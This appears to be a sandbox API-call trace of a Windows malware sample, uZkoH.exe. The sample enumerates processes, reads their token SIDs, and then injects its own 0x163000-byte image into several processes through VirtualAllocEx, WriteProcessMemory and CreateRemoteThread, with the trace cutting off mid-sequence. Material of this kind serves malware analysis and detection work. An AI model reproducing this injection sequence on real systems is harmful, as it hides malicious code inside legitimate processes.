	[0133.183] GetTokenInformation (in: TokenHandle=0x30c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.183] GetProcessHeap () returned 0x380000
	[0133.183] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.183] GetTokenInformation (in: TokenHandle=0x30c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.183] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.185] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.186] GetProcessHeap () returned 0x380000
	[0133.186] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.186] CloseHandle (hObject=0x160) returned 1
	[0133.186] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0133.189] SetLastError (dwErrCode=0x0) 
	[0133.189] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb54) returned 0x160
	[0133.189] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x310) returned 1
	[0133.189] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.190] GetProcessHeap () returned 0x380000
	[0133.190] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.190] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.190] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.191] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.193] GetProcessHeap () returned 0x380000
	[0133.193] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.193] CloseHandle (hObject=0x160) returned 1
	[0133.193] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0133.195] SetLastError (dwErrCode=0x0) 
	[0133.195] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb64) returned 0x160
	[0133.195] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x314) returned 1
	[0133.195] GetTokenInformation (in: TokenHandle=0x314, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.195] GetProcessHeap () returned 0x380000
	[0133.196] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.196] GetTokenInformation (in: TokenHandle=0x314, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.196] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.197] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.198] GetProcessHeap () returned 0x380000
	[0133.199] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.199] CloseHandle (hObject=0x160) returned 1
	[0133.199] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0133.201] SetLastError (dwErrCode=0x0) 
	[0133.201] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb74) returned 0x160
	[0133.201] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x318) returned 1
	[0133.201] GetTokenInformation (in: TokenHandle=0x318, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.201] GetProcessHeap () returned 0x380000
	[0133.201] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.201] GetTokenInformation (in: TokenHandle=0x318, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.202] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.204] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.205] GetProcessHeap () returned 0x380000
	[0133.205] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.205] CloseHandle (hObject=0x160) returned 1
	[0133.205] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0133.207] SetLastError (dwErrCode=0x0) 
	[0133.208] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb84) returned 0x160
	[0133.208] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x31c) returned 1
	[0133.208] GetTokenInformation (in: TokenHandle=0x31c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.208] GetProcessHeap () returned 0x380000
	[0133.208] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.208] GetTokenInformation (in: TokenHandle=0x31c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.208] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.210] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.211] GetProcessHeap () returned 0x380000
	[0133.211] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.211] CloseHandle (hObject=0x160) returned 1
	[0133.212] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0133.213] SetLastError (dwErrCode=0x0) 
	[0133.214] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb94) returned 0x160
	[0133.214] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x320) returned 1
	[0133.214] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.214] GetProcessHeap () returned 0x380000
	[0133.214] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.214] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.214] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.345] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.347] GetProcessHeap () returned 0x380000
	[0133.347] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.347] CloseHandle (hObject=0x160) returned 1
	[0133.347] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0133.349] SetLastError (dwErrCode=0x0) 
	[0133.349] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xbc8) returned 0x0
	[0133.349] CloseHandle (hObject=0x0) returned 0
	[0133.349] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0133.351] SetLastError (dwErrCode=0x0) 
	[0133.351] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xbf0) returned 0x0
	[0133.352] CloseHandle (hObject=0x0) returned 0
	[0133.352] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0133.353] SetLastError (dwErrCode=0x0) 
	[0133.353] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x894) returned 0x160
	[0133.354] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x304) returned 1
	[0133.354] GetTokenInformation (in: TokenHandle=0x304, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.354] GetProcessHeap () returned 0x380000
	[0133.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.354] GetTokenInformation (in: TokenHandle=0x304, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.354] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.356] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401640, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.357] GetProcessHeap () returned 0x380000
	[0133.357] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.357] CloseHandle (hObject=0x160) returned 1
	[0133.357] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0133.360] SetLastError (dwErrCode=0x0) 
	[0133.360] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x944) returned 0x160
	[0133.360] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x324) returned 1
	[0133.360] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.360] GetProcessHeap () returned 0x380000
	[0133.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.360] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.360] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.362] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f64f0, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.364] GetProcessHeap () returned 0x380000
	[0133.364] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.364] CloseHandle (hObject=0x160) returned 1
	[0133.364] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0133.366] SetLastError (dwErrCode=0x0) 
	[0133.366] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x974) returned 0x160
	[0133.366] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x328) returned 1
	[0133.366] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0133.366] GetProcessHeap () returned 0x380000
	[0133.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0133.366] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0133.367] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0133.368] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3f65b0, cchName=0x1948f8, ReferencedDomainName=0x401660, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0133.370] GetProcessHeap () returned 0x380000
	[0133.370] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0133.370] CloseHandle (hObject=0x160) returned 1
	[0133.370] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 0
	[0133.371] CloseHandle (hObject=0x180) returned 1
	[0133.371] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x194920, nSize=0x64 | out: lpFilename="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe")) returned 0x19
	[0133.372] SetLastError (dwErrCode=0x0) 
	[0133.372] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x434) returned 0x180
	[0133.372] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0133.372] SetLastError (dwErrCode=0x0) 
	[0133.372] VirtualAllocEx (hProcess=0x180, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13f450000
	[0133.686] WriteProcessMemory (in: hProcess=0x180, lpBaseAddress=0x13f450000, lpBuffer=0x13f450000*, nSize=0x163000, lpNumberOfBytesWritten=0x1948e8 | out: lpBuffer=0x13f450000*, lpNumberOfBytesWritten=0x1948e8*=0x163000) returned 1
	[0134.078] CreateRemoteThread (in: hProcess=0x180, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f457014, lpParameter=0x13f450000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0134.100] Sleep (dwMilliseconds=0x1f4) 
	[0134.654] SetLastError (dwErrCode=0x0) 
	[0134.654] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4a8) returned 0x340
	[0134.654] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0134.654] SetLastError (dwErrCode=0x0) 
	[0134.655] VirtualAllocEx (hProcess=0x340, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13f450000
	[0134.810] WriteProcessMemory (in: hProcess=0x340, lpBaseAddress=0x13f450000, lpBuffer=0x13f450000*, nSize=0x163000, lpNumberOfBytesWritten=0x1948e8 | out: lpBuffer=0x13f450000*, lpNumberOfBytesWritten=0x1948e8*=0x163000) returned 1
	[0135.481] CreateRemoteThread (in: hProcess=0x340, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f457014, lpParameter=0x13f450000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140
	[0135.484] Sleep (dwMilliseconds=0x1f4) 
	[0136.124] SetLastError (dwErrCode=0x0) 
	[0136.124] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x530) returned 0x38c
	[0136.125] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0136.125] SetLastError (dwErrCode=0x0) 
	[0136.125] VirtualAllocEx (hProcess=0x38c, lpAddress=0x13f450000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13f450000
	[0136.145] WriteProcessMemory (in: hProcess=0x38c, lpBaseAddress=0x13f450000, lpBuffer=0x13f450000*, nSize=0x163000, lpNumberOfBytesWritten=0x1948e8 | out: lpBuffer=0x13f450000*, lpNumberOfBytesWritten=0x1948e8*=0x163000) returned 1
	[0136.776] CreateRemoteThread (in: hProcess=0x38c, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f457014, lpParameter=0x13f450000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120
	[0136.779] Sleep (dwMilliseconds=0x1f4) 
	[0137.368] SetLastError (dwErrCode=0x0) 
	[0137.368] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7f8) returned 0x384
	[0137.369] GetModuleHandleA (lpModuleName=0x0) returned 0x13f450000
	[0137.369] SetLastError (dwErrCode=0x0) 
